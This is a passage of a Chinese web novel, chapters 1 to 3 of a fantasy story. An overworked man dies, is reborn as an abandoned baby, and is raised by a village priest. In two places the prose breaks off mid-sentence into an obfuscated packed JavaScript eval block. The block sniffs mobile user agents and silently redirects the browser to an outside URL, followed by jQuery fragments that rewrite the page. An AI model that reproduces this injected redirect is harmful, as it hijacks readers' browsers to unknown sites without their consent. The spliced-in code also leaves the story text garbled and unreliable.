《就不能放我安静学魔法吗[西幻]》 1. 第 1 章 今天的天气有些沉,过了十点,阳光才破开厚重的乌云,穿过玻璃洒落到了办公桌上。 正全神贯注扣着电脑键盘的青年恍然间被金芒刺痛了眼,思维终于从工作中抽了出来,才发觉不止眼睛不舒服,头也有些胀痛。 艾非思拉下旁边的百叶窗,看了眼电脑角落显示的时间,终于意识到自己再不去睡觉就有可能猝死了。 “嗡——” 刚关上电脑,手机振动了,艾非思一手揉着太阳穴,一手拿起手机,低沉的声音略微沙哑:“做什么?” 胥双似乎有些兴奋:“兄弟,好事儿啊,我女朋友的闺蜜你还记得吧?人家好像对你有意思,非要我组个局让你出来玩玩儿,我现在来接你,你愿意的话今天就能脱单!” 艾非思完全能透过好友的语气看到对方八卦猥琐的表情,他现在不止身累,心也累了,“不了,我等会儿要补觉。”电脑屏幕都能映出眼下的青黑了。 “咋啦?你又熬夜工作了?跟你说过多少次了,熬夜会变丑,你能不能好好珍惜那张帅脸!”还记得初见艾非思,那张脸真是让他又酸又欣赏,架不住人家有实力又会做人,后来胥双就放下了那点嫉妒,跟人关系渐好了,如今已经是好友加合伙人的关系了。 “不是熬夜,通宵而已。” 胥双噎了一下,更是恼火:“你能不能好好珍惜小命!”继而眉头一皱,“你该不会在做我家的单子?” “胥总直接选择了我的工作室,我当然要尽心尽力,不能辜负你父亲的信任,别担心,年轻人偶尔通宵多正常。” 胥双撇嘴:“人家都是老板逼员工九九六,你倒是一股清流,员工双休,你给自己安排零零七,没有人陪伴的加班,啧啧,太孤独了。” 艾非思支着额头,闭着眼慢悠悠地回他:“单身狗的假期就是这么朴实无华,不过你说的对,确实有点孤独,那麻烦胥大少爷写一下你家产品的广告策划?” 胥双:“……”草!嘲笑他的时候忘记自己是合伙人了! “咳,兄弟我还有约会,不聊了,你滚去补觉吧,当心狗命不保!” 刚聊两分钟,对面利落地挂了电话,青年失笑,随后起身准备去冰箱翻点东西吃,却不料刚一站起便有些心慌,眼前发黑,他扶着椅背缓了几秒钟才看清前方,艾非思感觉呼吸似乎比平时累了一点,不由叹了一口气,也就一年没怎么运动,体质降的也太快了。 身体在发出急需休息的信号,艾非思这下连早饭都不敢吃了,毕竟短时间内是饿不死人的,但是会不会猝死就不好说了,还是睡觉要紧。 艾非思已经闭眼几分钟了,俊朗的面容带着显而易见的疲乏,眉峰轻蹙,可见休息得很不轻松。 通宵之后身体疲惫,精神却异常得亢奋,因为睡不着,头疼心也慌,弄的艾非思有些焦虑,但是思维还很活跃,脑子里一边思考着没做完的工作,一边想着再躺一会儿就能睡着了吧? 以后偶尔熬个夜就行,再也不通宵了——在失去意识的前一秒,艾非思如是想着。 脑中绷着的那根弦终于断了,青年紧绷的神情彻底放松了下来,面容平和而温柔。 —— 好难受……快呼吸不过来了! 艾非思被窒息感憋醒,再睁眼的时候只看到一片黑暗,还伴有强烈的晃动感,怎么回事?地震了吗? 强烈的危机感让艾非思清醒的很快,他第一时间想起身看看情况,却发觉身体被束缚住了! 感官好奇怪啊!难道就因为通宵一天得了什么怪病?! 艾非思强烈挣扎,想抬起手摸到手机给自己叫辆救护车,却在不经意间发出如婴儿般细小微弱的哼声。 艾非思一愣:他嗓子坏了?? 抱着孩子的女人听到声音,不耐烦地松开捂着的长袍,把藏在怀里的小东西露了出来——并非是意识到自己捂得太紧会让婴儿不舒服,她只是嫌弃这小东西万一哭起来,眼泪鼻涕糊到她衣服上,恶心死了! 艾非思终于看见了光亮,他被人单手横抱着,第一时间就看见了清朗晴空,以及——一个欧美女人?! 女人外穿着带金色绣纹的白色连帽长袍,皮肤白皙,眉眼深邃,瞳孔是蓝灰色,仔细打理的暗红色长发给她增添了几分端庄贵气,她长相明艳,神情傲慢,看艾非思的眼神尽是不喜,像他在欧美影视剧中看过的视奴仆为草芥的贵族小姐。 艾非思还没来得及意识到自己变成了婴儿,他刚升起“为什么他在户外”以及“为什么身边有个外国女人”的疑惑,就被温妮用另一只手捂住了大半张脸,婴儿不可思议地瞪大纯澈的眼眸,透过指缝瞧见了这个陌生女人阴狠的眼神。 “呜——” 他费力将手从裹紧的襁褓里拿出来,想推开要捂死自己的人,却也第一时间发现了自己的变化——这是我的胳膊?这是我的手?! 婴儿的推拒对成年人来说不起丝毫阻拦之力,但温妮目光一动,不知道想到了什么,最终是收回了手,她冷哼一声,低声嘲讽,“原来这小杂种竟是个傻子,痛苦的时候也不会哭,血脉低贱之人就是劣等!” 女人说的话,艾非思一个字都听不懂,这跟他曾耳闻过的几种外语没有丝毫相似之处……什么情况啊! 艾非思控制着细小胳膊在眼前晃来晃去,他好像变成小孩儿了!不不不,这一定是在做梦! 难道是他在睡着后无意识地用被子蒙住了头,所以才会在梦里有这么真实的窒息感? 艾非思试图用科学一点的解释安慰自己,可是……为什么梦里的这个外国女人的样貌神情如此清晰?为什么他能在梦里闻到森林的味道?而且……为什么他在梦里还能清晰地分析和思考? 像是为了证明他此刻的思维有多清晰,艾非思极快地回忆了自己活到现在,二十四年来都经历了什么—— 他的父母在他读初一时因车祸身亡,爷爷奶奶习惯住在乡下老家,很不适应城里的生活,指不定一个月迷路好几回,自己都手足无措,更别提照顾好孙儿了。 外公外婆重男轻女,更偏心艾非思的舅舅,若是让他们照顾自己,定然自家的房子都会被舅舅一家鸠占鹊巢。 十几岁的艾非思已经被父母培养出了独立自主意识,低沉了一段时间后,他没有打扰任何亲人,存好父母的赔偿金和保险金额,恢复了从家到学校两点一线的生活,照旧好好学习,也更重视社交。 除了变得更沉稳了些,看起来和以前没什么区别,总的来说,他把自己照顾的还不错。 另外,他班上的一位老师跟他住在同一小区,已经快退休的老教师对他照顾颇多,经常骑小电驴带他上学回家,大概是担心小孩儿在家偷懒点外卖吃泡面,师母会很热心地多做一份晚饭,等他放学了过去一起吃,艾非思拒绝不了老两口的热情,干脆交了伙食费,每天往老师家跑。 艾非思在小区里挺出名的,从小就乖巧可爱,成绩又拔尖,老两口算是看着他长大的,他们很担心这孩子因为缺少家人的关爱而出现心理问题,除了照顾艾非思的伙食,谈心补课之外,两口子也经常叫上孩子做一些“亲子活动”,比如一起研究美食、种菜养花、下棋钓鱼、寒暑假旅游等。 老师家的儿女对父母的烂好心也没意见,毕竟小同学成绩好,估计以后是个有出息的,更重要的是人家自己掏了钱,也没花他们父母的钱,这就没问题了。 久而久之,艾非思跟老师一家的关系比跟自家几个亲戚更好一些。 就这样,在好心人的照顾下,艾非思身心健全地长大了。 他顺利考上了国内最好的大学,即便在优生云集的地方,也是属于能拿到奖学金的最优秀的那一批,双商在线,再加上他相貌还不错,就更容易与人交好了,一毕业就能和富二代好友胥双合资开工作室,轻易地说动几个看好的人才来给自己打工,创业两年多,偶尔就能拉来大企业的合作项目,盈利还不错,按这样的发展趋势,再过几年,他们工作室就能扩大规模了。 可以说除了父母的事,艾非思的人生一路顺遂到足以让大多数人嫉妒。 此刻,艾非思能回忆起很多事情的细节,这可不是处在梦里能做到的事情…… 他把小手伸进嘴里咬了咬……哦,还没长牙,但清晰的吮吸感和刚才差点死掉的危机感一样真实。 排除掉所有不可能,他只能想到一个答案符合现在的情形——他穿越了! 老天爷啊,他平时连小说都没看几本,不了解穿越剧本套路啊!为什么选他?! 离谱,不可思议,但是艾非思很快就接受了现实,并且注意力都放在了眼下的处境之中。 容不得他多花时间消化这件事,因为抱着他匆匆前行的女人已经停下了脚步,艾非思的小脑袋稍微一偏,便看到了宽大的河流,想着女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711025|144553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人刚才残忍的行径,以及此刻略显快意的笑容,她要做什么事情已经不言而喻了。 艾非思的心情一言难尽:难道他这辈子有一个渣爹,把自己媳妇儿给逼疯了,然后现在发展到了女方要带孩子自杀的地步? 不怪他误会,艾非思知道世上有很多恶人,但有女人能狠心杀死别家的无辜幼儿的机率,低到让他直接忽略了这个可能性,还是母亲杀死孩子报复渣男的可能大一些。 不是吧阿sir,这就要死了?他能拿个最倒霉穿越奖了吧? 艾非思可不想被淹死,但是作为一个婴儿,他是毫无反抗之力的,甚至想表演一个“天才婴儿竟清晰说出‘妈妈,我爱你’从而唤醒狠心母亲的母爱”的奇迹都不可以,因为语言不通啊! 他就算说十句话,听在别人耳朵里大概就跟“叽里咕噜”差不多。 “嗯…” 小家伙安静了一路,终于断断续续地发出了点稚嫩软和的哼唧声,他肉乎乎的小手抓住了女人的衣领,笑得软萌可爱,他不知道,自己这辈子的脸长的相当出色,再铁石心肠的人看见这么个小宝贝都会不自觉地温和了眉眼,可惜,他演出的亲近和依恋丝毫没有打动女人…… 温妮厌恶地看了一眼婴儿澄澈漂亮的蓝眼睛,“跟你母亲一样,都没脑子。” 她瞧见斜对岸正有人在洗衣服,手里的法杖动了动,控制了风元素将一个木盆吹落河中再推了过来。魔法动静很小,没有引起对岸几人的怀疑,木盆主人只埋怨了一声倒霉。 温妮粗鲁地将婴儿放进盆中,艾非思心中一紧,开始啼哭起来,试图让女人心软,他更希望吸引外人过来救下他。 不幸的是,两者期盼都落空了,被困在弱小身体里的艾非思自救不能,被水流带走,越漂越远…… 温妮满意地看着木盆变成黑点,直到完全消失不见。 不知道小杂种是会先淹死还是先饿死,哪种结局她都挺满意的。 之前本来想直接捂死了,随便扔在山林了事,但是温妮想到她之前的几次行径,兰开斯特家族将他们小少爷失踪的事联想到她身上不会用多久,届时再抓了她,请教廷的光明系魔导士强行“净化”她黑暗的心灵,她就会如傀儡那样一问一答,老实交代出小杂种的下落。 被抓到无所谓,温妮不想给他们答案,那样的话,就只能让她自己也避开答案了。 贵族小姐扬着头,傲慢地勾起唇角,“我要让他们连你的尸骨都找不到。”活不见人,死不见尸多好,让那对恋人永远都放不下心结! 艾非思木着脸看着上方无垠的天空,第一次穿越,没经验,请问这种情况怎么自救? 他知道熬夜可能会猝死,但是不知道会死两次啊! 此刻,艾非思唯一欣慰的一点就是,幸好遗嘱立得早,他的资产股份都分好了,绝不会给恶心的舅舅一家碰一分钱! 啧,就是爷爷奶奶,还有老师他们年龄大了,希望别受太大刺激…… 艾非思也没有完全放弃求生,他时不时地啼哭一阵,希望有人听见把他救上岸。但这小身体不知道多久没吃东西了,大概不到两个小时,艾非思就没力气大声嚎了,只能尽力呜咽几声,若是木盆靠近岸边的话,也不是没有被听到的可能。 木盆在宽广的曼泽河中漂荡,河水奔流的趋势还算急,但同时也算平,没有大的波浪将木盆打翻。 婴儿本就需要大量的睡眠,艾非思在水波轻晃中昏昏欲睡,眨了一下眼,就无意中沉睡过去了。 木盆漂了半天,到了分叉口,漂向了细小支流的方向,再遇分叉,又流向了更小的支流,艾非思不知道,他已经从宽阔大河进入了小溪流之中,并且非常幸运的没有经过瀑布、乱流等危险地段,木盆摇篮丝滑走位了一个白天,直到被倒在溪流中的小枯树拦住了去路。 傍晚时分,几个魁梧的男人边聊着今天的见闻边往溪边走,前面几个小孩儿你追我赶地玩闹着。这天热,劳作了一天,去水里洗洗好解热,然后差不多正赶得上家里的吃饭时间。 “你们快过来看!” “哇,这是谁家婶婶洗衣服都忘记了把孩子带走啊?” 有个大一点的小少年很懂事地扯着嗓子喊人了:“父亲——你们快来!” 男人们正在聊最近哪个营生好做,忽闻已经跑没影儿的孩子们咋咋呼呼地开始叫人,心下一紧,赶忙过去了。 2. 第 2 章 “小艾尔,不要一个人来森林,这里是有猛兽的。”马丁背着弓箭,拎着几只鸟和一只兔子,周身沾染了一些血腥味,长相粗狂严肃,态度却很温和。 正在尝试找食物的艾非思…不,现在应该叫艾尔菲斯了,他叹了一口气,又是想快点长大的一天呢! “马丁大叔,我只在外围转转,请别担心。” 马丁看了一眼艾尔菲斯挽着的小篮子,“你又去摘甜奶果了,你以后想吃,我打猎的时候顺便帮你带就行,小孩子不许爬这么高的树。” 他还要去镇上卖野兔,就不跟小家伙多说了,“去跟亨瑞他们玩儿,别一个人乱跑。” 艾尔菲斯闻言笑得勉强,见马丁大叔说了两句就离开了,不免松了一口气,他是真的不想跟亨瑞那样的真小孩儿们一起玩泥巴、捉昆虫、玩扮演公主骑士和恶龙的游戏啊! 虽然这具身体受限于年龄,很多事情能办法做,过得平淡又无趣,比起现代的生活,衣食住行的条件下降了不止一个档次,艾尔菲斯还是觉得这次穿越运气不错。 他当初还以为自己会被淹死,没想到在水里漂了快一天,居然一次危机都没遇到,还被住在利塞小镇边缘的镇民给救下了。 整个小镇风景优美,自然环境优越,但偏远封闭,三百多户人家加起来不足千人,条件顶多称得上是自给自足。 大多数人一辈子都在这片地方打转,只有家里养了马匹,隔几日会出去做买卖的商人老爷经常去距离最近的小城,他好心跟城里人打听哪家丢了孩子已经很不错了,可惜没有结果,要商人老爷再去其它城市也不可能,太远了太远了,他就一匹马,可不能跑死。 至于去找城主和护卫队帮忙?嗐,上面的人都是贵族留在这里收税的附庸,哪会尽心尽力地帮助平民啊。 又不是信息时代,利塞小镇可没有多的手段帮小家伙寻亲,见离他们最近的城没有好消息,也就只能把小家伙养在他们那里了。 镇长问了一圈,也只有卡文牧师愿意收养小可怜了。 镇上要出去谋生的年轻人都会留在最近的拉塞城赚钱,卡文是镇上唯一远行过,还愿意回来定居的人。 当年他出去识字、做工、走过不少地方,心却始终找不到归宿。 直到有一日途经王城,目睹了一位强大的光明系法师使用治愈魔法替平民治病,柔和光芒散去,跪地虔诚祈祷的病人们伤口愈合了,嗓子不咳了,腰不酸背不痛了,卡文站在边缘,有幸沐浴到一点神光,顿时感到精神百倍! 哦!天呐,这是神迹吗?多么强大的、仁慈的光明教廷! 曾经魔法离他太遥远了,卡文此前一直对神明的存在将信将疑,见证了这神奇的一幕后,他不由想再多了解一点神明和教廷的事情。 卡文花钱进了一个小城市教廷分会的布道会,聆听光明教廷信奉的精神旨意,了解诸神时代和神战的故事,也了解到光明神的强大和仁慈之心,以及信徒的诸多善举等等。 进过布道会的平民听过故事之后,精神得到了升华,他们的感受总的来说可以形容为——成为教廷的一份子,为传教事业作出贡献,他们的人生就不再平淡无奇! 若人人都信仰光明神,世界就会变得更美好!(照艾尔菲斯的话说,他们就是花钱进了传销组织接受洗脑,然后被卖了还要帮着数钱) 年轻的卡文很快就开始虔诚地信仰光明神了,他在小城分会谋了工作,尽心干了二十多年,颇得牧师欣赏。 到了中年,被举荐到邻近的小城市当牧师,他没意识到这里是但凡有点私心的神职人员就不愿意来的穷苦地方,卡文对任职牧师感到非常荣幸,根本不会挑地方。 等他六十多岁的时候,突然想到了自己的故乡,他多想他的同乡也能知道光明神和教廷的故事,了解那些伟大的牺牲和付出!同时,卡文也希望大家对外面的世界产生兴趣,愿意努力走出来看看。 抱着这样的想法,卡文回到了许久不见的利塞小镇。 他在外多年都生活朴素,还是有点积蓄,请人修了一个小屋,放了几根长椅,最上方供着从分会带回来的光明神小塑像,就在这里传道了。 卡文和他的小教堂挺受欢迎的,因为卡文是老好人,还会免费教孩子们识字,至于他说的信仰…… 利塞小镇的人连魔法都没见过,教廷的存在在他们看来跟贵族没什么区别,都是遥远又高不可攀的势力,至于光明神……谈不上什么信不信的,大家只觉得卡文牧师讲的故事和见闻很有趣,没事来这里跟他聊天打发时间还是很不错的。 艾非思流落到这个地方,被卡文收养已经是很好的结果了,牧师爷爷可以说是全镇最博学的人,还从外面带回来了很多书,让他能顺利地学习新语言和新文字,更快地融入这个世界。 现年五岁的小豆丁是全镇的人见过的最漂亮的小孩儿了,他五官精致,皮肤柔嫩白皙,如月华的银色及肩长发和蔚蓝的瞳色太过耀眼,一看就知道不是他们这个穷苦之地的孩子。 关于这个外来的小家伙,大家一致肯定小艾尔是贵族家的血脉,然后对他被不幸流落到这个地方的原因编出了几十个版本——毕竟除了闲聊,这里的成年人也没有其它娱乐活动了。 一个相貌显眼的外来者,还有可能是贵族血脉,作为底层人,多数人潜意识里就该排斥艾尔菲斯,就算不会为难他,也不见得会多友善,但是神奇的是,整个小镇的人几乎都喜欢这个孩子。 在大家眼中,小艾尔人聪明,从小又很礼貌懂事,偶尔帮这家拔一下田里的杂草,帮那家跑腿送个东西,给婶婶们编头发,给大叔们捶捶背。 艾尔总是会崇拜地说“您的箭术太棒了,简直是百发百中!”“您做的烤肉真是太美味了,怎么都吃不厌。”“婶婶的手真巧,这衣服缝得太漂亮了。”诸如此类话说的很是真诚,谁不乐意听到软萌的小可爱夸赞自己? 大人们很喜欢嘴甜又懂事的小艾尔,于是一个外来者,在利塞小镇活成了别人家的孩子。 镇上的小孩儿也并不嫉妒样样都比他们优秀的人,因为他们也认为艾尔真是太好了 —— 虽然很少陪他们一起玩,但是艾尔在森林里摘的野果子会分享给他们,教他们游泳,教他们编草编,还想出好几个好玩的新游戏,他可真聪明啊! 艾尔菲斯就像藏在这个灰扑扑的偏僻小镇里的漂亮宝石,没有人不喜欢珍宝,甚至家里有小女孩儿的镇民都愿意让女儿长大后嫁给他,那他们延续下来的血脉一定也很优秀。 —— 看着马丁大叔转身离开的背影,艾尔菲斯乖巧礼貌的笑容慢慢隐了下去,露出不合乎年龄的平淡漠然。 他的本性当然没有外人所认为的那么热心讨喜,他真心愿意回报示好的就只有收养他的卡文爷爷,最多加上将他从水里救上来的几人。 刷全镇人的好感度,不过是想快点融入这个集体中,让自己更舒适一些罢了。 实现这个目的的过程也不难,他在失去父母,失去可以放心依赖的血缘亲人之后,就或真心或假意地进行社交,创造出有利于他成长和发展的安全环境,他早就习惯友善又懂事的人设了…… 不出意外的话,他至少还要在利塞小镇呆很多年,这份长袖善舞的本事用在这里刚刚好。 艾尔菲斯往森林深处看了一眼,抱着遗憾的心情往回走了。 他还是很期待里面有什么他在现代没听过的新物种,可惜小胳膊小腿,没有自保能力,遇见猛兽跑都跑不掉,还是过几年再说吧。 被救的最初,襁褓中的艾尔菲斯注意到镇民的服饰风格和房屋建材,猜测过自己是不是穿越到了中世纪的某个欧洲国家。 等他成长到能跑能跳时,就知道猜测错误了,首先,这里的气候不像是在欧洲,其次,看到某些陌生的植被和动物,他已经确定自己不在地球上了。 不过现实情况总比最初的猜想好的多,虽然衣食住行差不多停留在中世纪的发展地步,但卫生可干净多了,艾尔菲斯不至于捂着鼻子走路,也不需要过于担心会爆发传染病。 另外,政策似乎也不错,即便是贫民也是相对自由的,不存在农奴制。 这里倒是也有王公贵族的存在,不知道为什么,他们好像对压榨底层,获取最大利益的手段不感冒,难道是有一位英明仁慈的君主? 就目前看来,对于这个陌生的世界,艾尔菲斯还是挺满意的,毕竟只要不作,平安活到老死应该是没问题。 为了尽量远离喧嚣,营造肃穆氛围,卡文牧师的小教堂修在小镇的边缘位置,也是靠近森林的地方,艾尔菲斯很快就到家了。 一个身材削瘦,穿着素白麻布旧长袍,面色平和,略微有些秃顶的老人正在打扫教堂,桌上那半人高的铜质神像被他日日擦拭得锃光瓦亮。 卡文看见艾尔菲斯拎着各种野果子进来,就知道他一下午又上哪儿去了,沉声批评道:“艾尔,我已经说了森林里是有猛兽的,还容易迷路,你又进去了,你真是太贪吃了!” 艾尔菲斯抽了抽嘴角,他非常清楚自己在利塞小镇的形象,除了乖巧懂事之外,还有一个小贪吃鬼。 只因为他自小就很能吃,再稍大一点,就开始进森林找东西,经常拿着野草野果来问大家这个有毒吗?可以吃吗?还向猎人马丁大叔请教设陷阱抓猎物的技巧。 若不是人小,用不了弓箭,没准天天去森林深处找肉吃。 艾尔菲斯也不想吃那么多的,事实上对于这里的主食,他是嫌弃至极,但是他在婴儿时期,只被喂了牛奶、果汁饱腹,这些东西的营养对婴儿来说完全不够,他能消化掉都谢天谢地了,长得瘦弱也是可以预见的。 为了补充营养,健康长大,艾尔菲斯是什么能吃就吃什么,当然,比起粗糙的主食,还是大自然的馈赠更美味,所以他是有事没事就往里面跑。 “爷爷,我摘了莓果给您。” 卡文神色缓了下来,拍拍小家伙的脑袋,“哦,我的艾尔,你真是太贴心了,我喜欢这些软软的莓果。我这些年牙口不好,委屈你跟着我吃些软食,黑麦总要熬成糊,口感一点也不好。” 老人想起了什么,又掏出几枚铜币,“对了,好孩子,去你汤尼大叔家买块面包吃,这是你背下‘神光礼赞’的奖励。” 艾尔菲斯不禁后退一步,僵笑着拒绝:“不用了,爷爷,我要去做晚饭了。” 小孩儿一说完,转身逃路似的跑开了——什么面包,那不是砖头吗? 小地方的人活得粗糙随意,没有娇养孩子的观念,艾尔菲斯从小玩火玩刀摆弄锅具都是没有受过阻拦的,卡文牧师一点也不觉让五岁孩子做饭有什么问题,艾尔很有天分,烧的饭比他好吃多了。 艾尔菲斯熬了软烂的蔬菜粥,蒸了蛋羹,又简单拌了一碟煮软的豌豆,有几味配料还是他从森林里带出来的无毒植物。 主食材就那么些,只因为调味料丰富了一点,卡文牧师便觉得木了几十年的舌头又有味觉了! “爷爷,饭做好了。” 卡文正蹲在教堂门口清理又长高了的杂草,闻言起身,表情慈爱地跟艾尔菲斯招招手,“过来。” 艾尔菲斯木着脸从灶台那边走进小教堂,又要去感恩神明的庇佑了。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711026|144553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艾尔菲斯眼中,卡文爷爷善良、正义、为人大度,是个很好的老人家,就是……没什么心眼,太好忽悠了,被那个教廷洗脑的非常彻底! 其实这也没什么,即便是现代,也有很多人信教,艾尔菲斯不理解他们为什么要信一些不能被证明的存在,但他也能尊重别人的信仰。 更何况在这个不能用科学去跟人讲理的时代,他更不好对别人信神这件事多说什么。 这也无所谓,别人怎么想怎么做跟他没有关系,但让他痛苦的是——卡文爷爷致力于让他也全心信仰光明神,长大后能走出利塞小镇在教廷就职那就更好了,那简直是无上荣幸! 即便已经经历了穿越这种不科学的事情,艾尔菲斯还是不信任光明神的存在。 他被灌输了一堆故事和理念,总结一下大概就是——在神战时期,光明神与一众强大的恶神对立,只为庇佑弱小的人族。 在一众为提升实力,为权势地位而战,或者天性就喜欢毁灭的神明之中,无私的,爱好和平的光明神简直就是一股清流! 没有伟大的光明神,就没有人族的延续。 人族心怀感恩,创建了教廷以歌颂神明恩德,秉承神明的意志,消灭残留的黑暗势力,救苦救难,维护人族安稳生存,这是多么神圣的职责啊! 艾尔菲斯对此嗤之以鼻,“光明”这个词汇,不管在哪个世界都蕴含着正义、希望、荣耀这类正面含义,能给人一种安全感,打着光明的旗号建立的权力组织,可想而知是多么容易被平民接受和拥戴。 退一万步说,就算真的有神的存在,一个仁慈的,不喜争端的神明怎么可能成为唯一存留的神明? 纯善之人,即便武力值再高也是无法坐稳高位的,即便是神也是如此,独身耗死一众“恶神”,还给人族留下平和美好、不好争斗的印象,说不得就是个两面派。 所以说,不管信不信卡文爷爷讲的事情,艾尔菲斯都对这些存在没有好感。 至于爷爷提到过的魔法,这玩意儿挺有趣,艾尔菲斯当初还抱着一丢丢希望问过,“有没有魔法可以让我变成动物呢?” 卡文牧师想了想魔法师大人们可以控制的元素,应该没有哪类可以做到这种事,便摇了摇头,艾尔菲斯又问:“那可以把我变大变小吗?” 卡文再次摇头。 艾尔菲斯心中冷呵一声,让他来打破这场骗局,让爷爷清醒过来。 小不点继续发问:“让我瞬移到拉斐城的魔法呢?” 卡文精神一振:“哦,空间系的魔法师阁下一定可以做到。” “您见过?” “这倒没有,空间系最为稀少,很多人一辈子都遇不到那样的存在。” 因为稀少而尊贵,见不到也是正常的,艾尔菲斯被爷爷的自圆其说给打败了。 卡文牧师谈起魔法,便有些兴致昂扬了,“但是我曾见过火系魔法师,他的掌心控制着一团火!” 艾尔菲斯:一定是化学反应。 “我路过圣卡斯托城的时候,有幸遇到一位光明魔法师阁下在施展治愈术,病人当时就痊愈了,我也不觉得疲惫了!” 艾尔菲斯:群演,心理作用。 后来卡文呆的城市太平凡,魔法师们都没兴趣去那里,他便再也没有目睹过其它魔法了,艾尔菲斯见爷爷举不出其它例子,却仍旧深信不疑,也不忍跟老人家抬杠了。 “那您有见过精灵吗?” 卡文遗憾摇头:“没有,传说精灵都住在西莱古森,不喜跟外族接触,因此并不外出。” “那西莱古森在什么地方?” 老人无奈一笑:“这种神秘的地方,可不是我们这些普通人能知道的,虽然我没见过美丽的精灵,但是矮人会跟人族做生意,我倒是见过一次。” “……”是侏儒症患者吧。 卡文牧师的地位和身处环境,确实很难见到大人物和大世面,一些神奇的小场面也被艾尔菲斯用科学思维进行了解释。 几年过去,艾尔菲斯仍然没把卡文爷爷说的话当真,他最初还婉转地杠了几句,但是一点都没有动摇对方的信仰,便也放弃了,还装出一副信徒的样子。 没办法,教养之恩暂时无以为报,能哄老人高兴也不错。 就如此刻,艾尔菲斯跟卡文牧师双手交叉成拳,跪在神像面前做日常任务—— 牧师的声音饱含情感:“慈爱的光明神啊,今日也感恩您的庇佑,让艾尔远离危险。” 艾尔菲斯默默吐槽:那不是我自己小心吗? “感谢您的恩典,万物得以在光辉之下顺利生长,为我们提供丰富的食物。” 艾尔菲斯:那不是来源于自然的馈赠和人类的辛勤劳动吗? “信徒心怀感恩,却无以为报,仅能歌颂您的圣名和伟迹,愿您荣耀永存。” 卡文说完,偏头慈爱地看着身边人,艾尔菲斯熟练地接台词配合老人:“请相信,我们对您的信仰始终坚定,再次感恩您对人族的庇护。” 任务完成,艾尔菲斯站起来拍了拍膝上的灰,看了一眼雕像,平静的眼神中隐隐含着一丝凉意——无论经历多少次,他还是很讨厌跪这种无意义的东西。 吃晚餐时,卡文牧师还一脸感恩:“艾尔,你小时候可瘦弱了,我一直很担心你会被病魔缠身,万幸你有一颗虔诚的心,一定是光明神祝福了你,你瞧,你现在是全镇最健康漂亮的孩子了!” 艾尔菲斯:“……”逐渐失去胃口。 那分明是我好吃好喝多加运动才把自己养好的! 但是他不能反驳,反驳了卡文爷爷也听不进去……好气哦! 3. 第 3 章 一大早,卡文牧师从林子里摘了一些尚沾着露水的野花,稍后要打理一下献到神像面前。 可惜他这里没有什么奇花珍宝,甘泉美酒,不过小艾尔说的对,光明神之强大可为世界之主,什么好东西没有?对仁慈的神明来说,虔诚的心意才是重要的。 厨棚里的锅正煮着早餐,等剩余的柴火燃尽就做好了。 棚外,个头又窜高了一截的小少年正慢吞吞地摆弄身体,呈现出各种奇怪姿势。 不管看多少次,卡文都很疑惑,“艾尔,为什么你总是喜欢跳这种奇怪的舞蹈呢?这一点也不优雅。” 卡文也不想说的这么难听,但是这孩子已经坚持跳这种自创的舞蹈很多年了,没有一丝长进,老人很担心艾尔不肯放弃,日后会被大城市里的人嘲笑。 艾尔菲斯对这种评价习以为常,并拢的手掌继续慢吞吞的在空中划过,语气平和:“爷爷,我真的是在练武,不是跳舞。” 这个世界‘武’和‘舞’的读音并不相同,卡文牧师清晰的听懂了孩子表达的意思,虽然还是理解不了这慢吞吞的招式能打得过谁,但艾尔向来很乖巧,难得有点爱好,卡文想着随他高兴吧。 艾尔菲斯已经八岁了,他早练八段锦,晚练太极拳,已经坚持了许多年。 自猝死那一遭后,艾尔菲斯深深明白了养生的重要性,尤其是处于医疗手段并不发达的古代世界,他都不敢生病,万一就倒霉到一病不起了呢? 因此,艾尔菲斯早早的把锻炼身体的计划提上了日程。 这些东西还是念中学的时候跟老师学的。 两口子习惯了在晚饭结束后到小区旁边的小公园跟其他老人们一起健身,想到现在的学生整天坐在教室里,腰酸背痛的,便将小艾也拉上跟他们一起锻炼。 没有老师的看管,艾尔菲斯在大学期间只是偶尔会练练,毕业后更是一次都没练过。 如今穿越了,生活节拍很是悠闲,他也能坚持练下去了,他自我感觉还是有用的,毕竟这些年身体一直很好。 今天的天气阴沉沉的,看着要下雨,想必马丁大叔不会去打猎。 吃完早餐,艾尔菲斯收拾完餐具,准备去马丁大叔家练箭术。 他还挺期待打猎的,而且有了能对抗猛兽的武器,他也能去森林深处走走了,不知道里面有多少新物种可以利用。 在拜访马丁大叔之前,艾尔菲斯特意挑了一只肥美的兔子带去当学费,是的,挑一只——因为他开始搞养殖了。 去年,他在菜地旁边搭了一个简陋的棚子,地面铺些平整的石头防着兔子打洞,边上竖起一根根紧密连接的木桩防着它们跳出来。 提前布置好之后,艾尔菲斯便去林子里布置了几个陷阱等着野兔撞上来了。 这么抓也不容易,森林那么大,锲而不舍的四处布置了快两个月,才凑齐了公母。 不过期间也捕到了类似家养鸡的物种,叫做走地鸟,幼鸟时期还会飞,但是因为又懒又贪吃,长大后就飞不动了。 这鸟行动笨拙,很容易被野兽捕食,所以数量不多,能有一只被诱饵引进陷阱也是艾尔菲斯运气好,这代表着能经常吃蛋了! 因为雌鸟可以像母鸡那样独自产蛋,虽然下蛋频率没有现代家养鸡那么勤,那也比以前难得吃一回好啊,他正是长身体的年龄,有蛋吃就再好不过了。 